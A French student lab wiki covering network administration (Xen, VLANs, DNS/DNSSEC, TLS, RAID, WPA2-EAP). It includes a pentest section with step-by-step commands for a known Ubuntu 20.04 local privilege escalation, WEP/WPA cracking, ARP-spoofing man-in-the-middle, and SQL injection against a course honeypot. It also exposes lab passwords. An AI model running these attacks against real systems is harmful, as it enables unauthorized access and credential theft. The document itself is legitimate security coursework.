On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

===Configuration VM Capbreton===

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

===Configuration VM Chassiron===

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

===Mascarade===

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

===Clés SSH===

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

===Installation d'Ansible ===

Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible.
Nous commençons par installer ansible sur notre VM principale :
apt install ansible

Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :

[[Fichier:hosts.png]]

===Ansible rôle MOTD===

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :
fichier playbook.yml

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

Nous exécutons ensuite notre playbook.yml :
ansible-playbook playbook.yml

Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :

[[Fichier:host.png || 600px]]

===Ansible rôle NTP===

==Installation de Docker==

Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :

[[Fichier:play_docker.png || 600px ]]

Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.

==Création du conteneur==

==Configuration des serveurs internes==

==Equilibreur de charge==

Fichier:Host.png

2020-12-17T16:27:48Z

Jsoulaim : Jsoulaim a téléversé une nouvelle version de Fichier:Host.png

TP sysres IMA5sc 2020/2021 G8

2020-12-17T16:24:31Z

Jsoulaim : /* Installation d'Ansible */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

